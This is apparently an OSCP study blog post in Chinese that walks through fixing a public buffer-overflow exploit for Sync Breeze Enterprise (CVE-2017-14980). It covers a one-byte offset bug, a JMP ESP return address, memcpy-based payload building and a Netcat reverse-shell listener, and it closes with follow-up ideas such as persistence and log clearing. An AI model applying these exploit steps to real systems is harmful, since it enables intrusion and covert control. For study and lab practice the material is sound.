❽⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 修改缓冲区偏移量

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀

​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 修改漏洞利用脚本 ➢ 修改缓冲区偏移量 🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.修改缓冲区溢出利用脚本实战

[1.2 测试编译后的漏洞利用exe文件](#1.2 测试编译后的漏洞利用exe文件)

[1.2.1 设置调试断点(测试.exe文件是否正确执行)](#1.2.1 设置调试断点(测试.exe文件是否正确执行))

[1.2.1.1 为什么要设置调试断点?](#1.2.1.1 为什么要设置调试断点?)

[1.2.1.2 界定执行成功与失败](#1.2.1.2 界定执行成功与失败)

[1.2.2 运行漏洞利用.exe文件(出错)](#1.2.2 运行漏洞利用.exe文件(出错))

[1.2.2.1 运行出错](#1.2.2.1 运行出错)

[1.2.2.2 原因分析:偏移量计算错误](#1.2.2.2 原因分析:偏移量计算错误)

[1.2.3 缓冲区偏移量错位分析与修复](#1.2.3 缓冲区偏移量错位分析与修复)

[1.2.3.1 关键代码逻辑分析](#1.2.3.1 关键代码逻辑分析)

[1.2.3.2 缓冲区偏移量错位原因具体分析](#1.2.3.2 缓冲区偏移量错位原因具体分析)

1.错误发生过程(关键两步)

2.灾难性后果:1字节的偏移

3.根本教训与解决方案

[1.2.3.3 修复方案](#1.2.3.3 修复方案)

1.方法一:调整填充大小

2.方法二:改用二进制复制(推荐)

[1.2.4 成功实现反向Shell:完整漏洞利用链验证](#1.2.4 成功实现反向Shell:完整漏洞利用链验证)

[1.2.4.1 编译与准备阶段](#1.2.4.1 编译与准备阶段)

[1.2.4.2 攻击执行步骤](#1.2.4.2 攻击执行步骤)

[1.2.5 安全启示](#1.2.5 安全启示)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.修改缓冲区溢出利用脚本实战

本例以Sync Breeze Enterprise**(这是一个文件管理同步软件)** 为目标,对其漏洞利用分析与修改,并最终利用,漏洞编号:CVE-2017-14980。


接上文,在原始的漏洞利用脚本上修改了本测试的IP地址、端口、有效的返回地址,并重新自定义了Shellcode(来实现反向shell)后,就可以对.c文件进行再次编译(.exe文件),本文从这开始。

1.2 测试编译后的漏洞利用exe文件

1.2.1 设置调试断点(测试.exe文件是否正确执行)

  • 我们返回到刚才连接了SyncBreeze的Immuntiy调试器,按Ctrl+G 跳转到返回地址 0x10090c83 (JMP ESP),这个是刚刚payload设置的返回地址。

  • 在此处,按F2设置断点,用于捕获程序跳转到攻击代码的时刻。

  • 一旦在调试器中设置了断点,可以让应用程序正常运行,并尝试从Kali执行攻击。


1.2.1.1 为什么要设置调试断点?

简单来说,设置断点就像在程序的执行路径上设置一个"交通管制点" 。它的目的是:让程序在执行到某个你指定的、非常精确的位置时,自动暂停下来

比喻 解释
电影暂停键 程序像一部电影在播放。断点就是你按下的"暂停键",可以让你看清楚某一帧画面(程序某一瞬间的状态)。

具体到本例,在之前的漏洞利用场景中,为什么要设置断点?

之前的步骤是:

  1. 填充 了780个A

  2. 放置返回地址 \x83\x0c\x09\x10(对应 0x10090c83),这个地址包含一条 JMP ESP 指令。

  3. 你希望程序执行流被劫持后,准确地跳转到这个地址 ,然后执行后面的shellcode

设置断点的目的就是为了验证:

"程序真的如我所料,精准地跳转到我设定的 0x10090c83 这个地址了吗?"

如果没有断点,程序会以极快的速度执行过去,无论成功还是失败,你都不知道中间具体发生了什么。


1.2.1.2 界定执行成功与失败
  • 成功情况 :成功触发断点,程序在 0x10090c83 处暂停,EIP 寄存器(当前执行地址)正好显示这个值。这证明缓冲区溢出成功,地址覆盖准确 。你可以按F7/F8单步执行,亲眼看到它执行JMP ESP,然后滑入你的shellcode区域。

  • 失败情况 (正如你遇到的,这个后面会说到):程序没有在断点处暂停,而是直接崩溃了。这立刻告诉你**"事情没有按计划发生"** 。然后你检查崩溃时的EIP值(0x9010090c),发现它和你预期的地址很像,但错位了 。这直接、无可辩驳地证明了你的偏移量计算有误


1.2.2 运行漏洞利用.exe文件(出错)

1.2.2.1 运行出错
  • 在Kali中使用Wine兼容层运行编译好的Windows可执行文件

  • Wine允许在Linux系统上运行Windows程序

出现意外结果: 程序未触发断点,而是直接运行崩溃,EIP寄存器被返回地址覆盖显示:

错误值: 0x9010090c;

正确值: 0x10090c83。

可以观察出,偏移一个字节。(上面的对比肉眼就可以看出来。)


1.2.2.2 原因分析 :偏移量计算错误

预期 vs 实际对比

项目 预期值 实际值 差异分析
EIP寄存器 0x10090c83 0x9010090c 字节错位1字节
内存布局 准确覆盖返回地址 偏移1字节,读取错误地址
程序行为 跳转到JMP ESP执行攻击代码 执行无效地址导致崩溃

关键发现 :返回地址的起始位置偏移了1字节,导致CPU读取了错误的内存内容。

🎯 根本原因:缓冲区构造错误

可能的原因:

  1. 字符串终止符问题 :C语言字符串自动添加\x00结尾

  2. 填充计算错误:初始缓冲区大小或填充计数有误

  3. 内存对齐问题:不同平台的内存对齐差异

  4. 编译器优化:交叉编译器对代码的隐式修改

比喻: 想象在多米诺骨牌阵列中设置触发机关:

  • 预期:第780张骨牌倒下后,正好触发机关

  • 实际 :第779张骨牌就触发了,导致连锁反应错位

    结果是整个攻击序列未能精准执行

📊 调试观察要点

观察项 正常情况 当前问题
EIP值 与JMP ESP地址匹配 字节错位的相似值
断点触发 程序暂停在断点处 断点未触发,程序崩溃
堆栈状态 返回地址准确覆盖 返回地址偏移1字节

调整策略

  • 尝试将偏移量调整为779或781字节

  • 检查并确保返回地址不被任何额外字节干扰

  • 验证漏洞利用代码中的内存分配和复制操作

最终结论 :虽然首次测试失败,但通过分析EIP的错误值,我们获得了关键的调试信息------偏移量计算存在1字节误差。这为后续修复提供了明确方向,是漏洞开发过程中常见的调试和优化环节。


1.2.3缓冲区偏移量错位分析与修复

1.2.3.1 关键代码逻辑分析

分配780字节的内存空间。780是以字节为单位的偏移量,用于覆盖堆栈上的返回地址并控制EIP寄存器。

使用memset将内存分配填充为特定字符,在本例子中是"0x41",即ASCII中"A"字符的十六进制表示。

然后,又一次调用memset,它将分配中的最后一个字节设置为终止符(NULL字节),将缓冲区转换为字符串

为什么将缓冲区转换为字符串起初可能会感到困惑,但是继续阅读代码,我们会到达最终buffer被创建的行。

代码 作用 隐藏问题
char *buffer = malloc(buffer_length); 分配了一个动态内存块,大小为 buffer_length,并返回一个指向该内存块的指针,buffer 将指向这个内存块。 分配一定大小的内存
memset(buffer, 0x00, buffer_length); 将分配给 buffer 的内存空间初始化为0(即用 0x00 填充)。 缓冲区内容用0填满
strcpy(buffer, request_one); 用 strcpy函数(字符串复制函数) 将 request_one 字符串追加复制到到 buffer 中,直到遇到字符串结束符 \0 为止。 把 request_one 字符串内容追加到buffer后(在python上直接用+)
strcat(buffer, content_length_string) 用 strcat 将 content_length_string 追加到 buffer 的末尾 继续把 content_length_string字符串的内容追加到buffer后
strcat(buffer, ***) 继续在buffer追加内容 后续以此类推,反复使用strcat追加

偏移量计算错误

从上面的代码顺序可以看到:

因为在C语言中,字符串通常是以NULL字节(0x00)结尾 的字符数组。例如,字符串 "Hello" 的内存表示可能是:**'H' 'e' 'l' 'l' 'o' '\0'。**这样在继续添加返回地址时cpu会忽略前面结尾的NULL字节(0x00),导致如下的结果:

bash 复制代码
预期偏移:780个"A"后放置返回地址
实际偏移:779个"A" + 1个NULL + 返回地址
结果:返回地址**提前了1字节**

EIP错位现象

bash 复制代码
预期EIP:0x10090c83  (返回地址: \x83\x0c\x09\x10)
实际EIP:0x9010090c  (错位1字节: \x0c\x09\x10\x90)

原因:CPU从错误的内存位置读取了4个字节作为返回地址。


1.2.3.2缓冲区偏移量错位原因具体分析

在C语言的世界里,字符串是一个以**\x00 (NULL) 结尾** 的字符序列。像 strcpystrcat 这样的函数,都依赖这个NULL字节来自动判断字符串在哪里结束

然而,在缓冲区溢出攻击中,我们构造的攻击载荷是一个精确的二进制序列 ,每个字节的位置都至关重要,且载荷本身很可能就包含 \x00 字节。

1.错误发生过程(关键两步)
  • 制造一个"字符串"

    bash 复制代码
    char *padding = malloc(780);          // 分配780字节
    memset(padding, 0x41, 780);           // 全部填满 'A' (0x41)
    memset(padding + 779, 0x00, 1);       // 针对padding指向的内存块的最后一个字节,即padding + 779这个位置进行操作。

    **详细说明:**padding + 779是指:padding 指针偏移了779个字节,指向最后一个字节。memset(padding + 779, 0x00, 1) 的意思是把该位置的字节设置为0x00,即将最后一个字节修改为0。这样,原本填充为 'A' 的内存块最后一个字节会被改为 0x00。

    至此,padding 在C语言看来,就是一个 "长度为779的有效字符串" (779个A + 1个结尾NULL)。

  • 用"字符串逻辑"拼接二进制数据

    bash 复制代码
    strcat(buffer, padding); // 拼接"填充字符串"
    strcat(buffer, retn);    // 在其后拼接"返回地址"

    strcat 会在 buffer寻找第一个NULL字节 作为起点。由于 padding 的结尾就是NULL,所以 retn 的地址数据,会从 buffer 的第780字节处 开始写入,这就出现了偏移!

2.灾难性后果:1字节的偏移
预期布局 实际布局
[779个'A'][第780个'A'][返回地址]... [779个'A'][0x00][返回地址]...
  • 期望 :返回地址从第780个字节(最后一个A之后)开始覆盖。

  • 现实 :返回地址从第780个字节(那个NULL字节)开始覆盖。

  • 结果 :内存中的整个攻击载荷整体前移了1个字节。CPU尝试从错误的位置读取"返回地址",执行流彻底失控,导致程序崩溃而非执行shellcode。

3.根本教训与解决方案
  • 勿用字符串函数处理攻击载荷strcpy/strcatNULL字节截断的特性,是构造精确二进制攻击载荷的"天敌"。

  • 使用二进制安全函数 :应使用 memcpy 来精确控制字节的复制位置和长度,它能忠实复制所有字节(包括\x00)。


1.2.3.3 修复方案
1.方法一:调整填充大小
bash 复制代码
// 原代码
int initial_buffer_size = 780;
char *padding = malloc(initial_buffer_size); 
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);

修改如下,这样就实现了不偏离。

复制代码
2.方法二:改用二进制复制(推荐)
bash 复制代码
// 放弃字符串操作,使用memcpy精确控制
char *buffer = malloc(total_length);
int offset = 0;

// 复制请求头
memcpy(buffer + offset, request_one, strlen(request_one));
offset += strlen(request_one);

// 复制填充(780个'A',无NULL)
memcpy(buffer + offset, padding, 780);  // padding是纯'A',无终止符
offset += 780;

// 复制返回地址
memcpy(buffer + offset, "\x83\x0c\x09\x10", 4);
offset += 4;

// 复制shellcode
memcpy(buffer + offset, shellcode, shellcode_len);

🎯 修复后验证

修复后应能观察到:

  • 断点正常触发 :程序在0x10090c83处暂停

  • EIP正确覆盖:EIP寄存器显示预期的返回地址

  • 程序流成功劫持:顺利执行JMP ESP,进入NOP滑道和shellcode


1.2.4 成功实现反向Shell:完整漏洞利用链验证

1.2.4.1 编译与准备阶段
  • 修复偏移量后重新编译C代码

  • 生成独立的Windows可执行文件 syncbreeze_exploit.exe

  • 无需依赖Windows开发环境,完全在Kali中完成

同时,目标环境准备

  • 确保目标Windows机器运行Sync Breeze服务

  • 服务处于可被访问状态


1.2.4.2 攻击执行步骤
步骤 操作 工具 目的
① 监听准备 在Kali上启动Netcat监听443端口 nc -nlvp 443 等待反向Shell连接
② 启动攻击 在另一个终端使用Wine运行漏洞利用 wine syncbreeze_exploit.exe 触发目标漏洞
③ 漏洞触发 利用程序发送恶意请求到目标服务 定制化漏洞利用代码 触发缓冲区溢出,执行Shellcode
④ Shell获取 Netcat接收到连接并显示Shell提示符 自动建立会话 获得目标系统控制权

①本地kali上的一个终端:

②本地kali上的另一个终端:

③等待漏洞触发

④在①的终端上收到反向shell

攻击流程图

bash 复制代码
[Kali攻击机] 
    ├── [终端1]:Netcat监听 443端口 ←──┐
    └── [终端2]:执行漏洞利用程序 → [目标Windows] 
                                          ↓
                                  [触发缓冲区溢出]
                                          ↓
                                    [执行Shellcode]
                                          ↓
                                [建立反向TCP连接到Kali]
                                          ↓
                                  [Kali获得Shell控制]

1.2.5 安全启示

防御建议

  1. 及时更新:修复已知漏洞,尤其是公开的缓冲区溢出

  2. 最小权限:服务账户使用最低必要权限

  3. 深度防御:启用DEP、ASLR等内存保护机制

  4. 网络监控:检测异常连接(如到攻击机的443端口)

攻击者视角的收获

  • 公开漏洞利用代码需要针对性修改才能实际使用

  • 精确调试是漏洞武器化的关键环节

  • 理解目标环境内存布局对攻击成功至关重要

📈 后续扩展方向

  1. Payload升级:替换为Meterpreter等高级后门

  2. 持久化机制:添加自启动、服务安装等功能

  3. 横向移动:以此Shell为跳板,探索内网其他目标

  4. 清理痕迹:添加日志清除、反取证功能

最终结论:通过系统的分析、精确的修改和专业的工具链整合,我们成功将一个公开的C语言漏洞利用代码转化为能够实际攻击目标系统的武器,并获得了反向Shell控制权限。这不仅验证了漏洞的存在,也展示了从理论研究到实战应用的完整渗透测试流程。

接下来,有个很重要的核心问题将放在下一篇文章详细说明:

怎么知道指针跳到某个返回地址(例如:\xcb\x75\x52\x73)上,就可以执行我们的payload?


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。感谢阅读,下一篇文章见。

相关推荐
一岁天才饺子1 天前
XSS挑战赛实战演练
前端·网络安全·xss
渣渣盟1 天前
数字身份管理:安全与效率的未来
信息安全·身份管理
Bruce_Liuxiaowei1 天前
Windows系统中msg命令的完整使用方法及相关示例
运维·网络·windows·网络安全
white-persist1 天前
网络空间安全核心领域技术架构深度解析
c语言·开发语言·网络·python·安全·网络安全·架构
lubiii_1 天前
网络安全需掌握的专业术语解析
安全·web安全·网络安全
无名修道院2 天前
DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)
数据库·网络安全·渗透测试·靶场·php·dvwa·phpstudy
内控王2 天前
电力行业违规外联如何解决?
网络安全
一岁天才饺子2 天前
XSS漏洞总结复盘
web安全·网络安全·xss